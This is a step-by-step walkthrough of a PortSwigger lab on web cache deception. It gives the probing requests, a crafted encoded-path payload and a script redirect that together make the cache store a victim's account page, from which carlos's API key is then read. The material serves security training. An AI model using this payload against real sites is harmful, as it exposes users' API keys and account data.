PortSwigger

Lab Description

This lab exploits normalization discrepancies between the cache and origin server to access a > user’s sensitive API key.

Objective: Find the API key for the user carlos.

Credentials: wiener:peter

Provided: Delimiter character list.



Step 1: Identify the Target Endpoint

  1. Log in as wiener:peter

  2. Open GET /my-account in Burp Proxy

  3. Notice the response contains your API key


Step 2: Test Path Delimiters

  1. Send GET /my-account/abc → 404 Not Found (no abstraction)
  2. Send GET /my-accountabc → 404 Not Found (reference for Intruder)
  3. Send /my-account§§abc to Intruder with delimiter list:
    • Results: #, ?, %23, %3f return 200 → Origin uses these as delimiters

Note: # cannot be used for exploitation (browser uses it as a fragment delimiter).


Step 3: Test Delimiter Discrepancy

Test ? delimiter:

GET /my-account?abc.js HTTP/1.1
  • No cache headers → Cache also treats ? as delimiter

Test %23 delimiter:

GET /my-account%23abc.js HTTP/1.1
  • No cache headers → Cache doesn’t have .js cache rule

Step 4: Investigate Normalization

Test dot-segment normalization (origin):

GET /aaa/..%2fmy-account HTTP/1.1
  • 404 Not Found → Origin does not decode ..%2f

Test static resource prefix:

  • Static resources served from /resources prefix with caching

Test cache dot-segment resolution:

GET /aaa/..%2fresources/YOUR-RESOURCE HTTP/1.1
  • X-Cache: hit → Cache does decode ..%2f and resolves the path!
GET /resources/..%2fYOUR-RESOURCE HTTP/1.1
  • No caching → Cache resolves ..%2f and uses /resources prefix for cache rule

Conclusion: The cache normalizes ..%2f, but the origin server does not.


Step 5: Craft the Exploit Payload

Construct the malicious URL:

/my-account%23%2f%2e%2e%2fresources?wcd

Breakdown:

  • %23 → URL-encoded # (delimiter for origin, not for cache)
  • %2f → URL-encoded /
  • %2e%2e → URL-encoded ..
  • resources → Triggers cache rule (cache normalizes path)
  • ?wcd → Cache buster (ensures fresh entry)

What happens:

  • Origin: # delimiter → /my-account → returns account page
  • Cache: Does not see # → path becomes ..%2fresources → cache normalizes ..%2f → /resources → caches as static resource

Step 6: Test the Payload

  1. In Repeater, test:
GET /my-account%23%2f%2e%2e%2fresources?wcd HTTP/1.1
  1. 200 with your API key
  2. X-Cache: miss (first request)
  3. X-Cache: hit (second request)

Step 7: Deliver the Exploit

  1. Go to the Exploit server
  2. In the Body section, paste:
<script>
    document.location = "https://YOUR-LAB-ID.web-security-academy.net/my-account%23%2f%2e%2e%2fresources?wcd"
</script>

  1. Click Deliver exploit to victim
  2. Victim visits the exploit → navigates to the malicious URL
  3. Origin server returns Carlos’s account page (with API key)
  4. Cache stores the response as a static resource

Step 8: Retrieve the Cached Response

  1. In your browser, visit:
https://YOUR-LAB-ID.web-security-academy.net/my-account%23%2f%2e%2e%2fresources?wcd
  1. Copy Carlos’s API key from the response

Step 9: Submit the Solution

  1. Go back to the lab page
  2. Click Submit solution
  3. Paste Carlos’s API key
  4. Click OK


Step 10: Lab Solved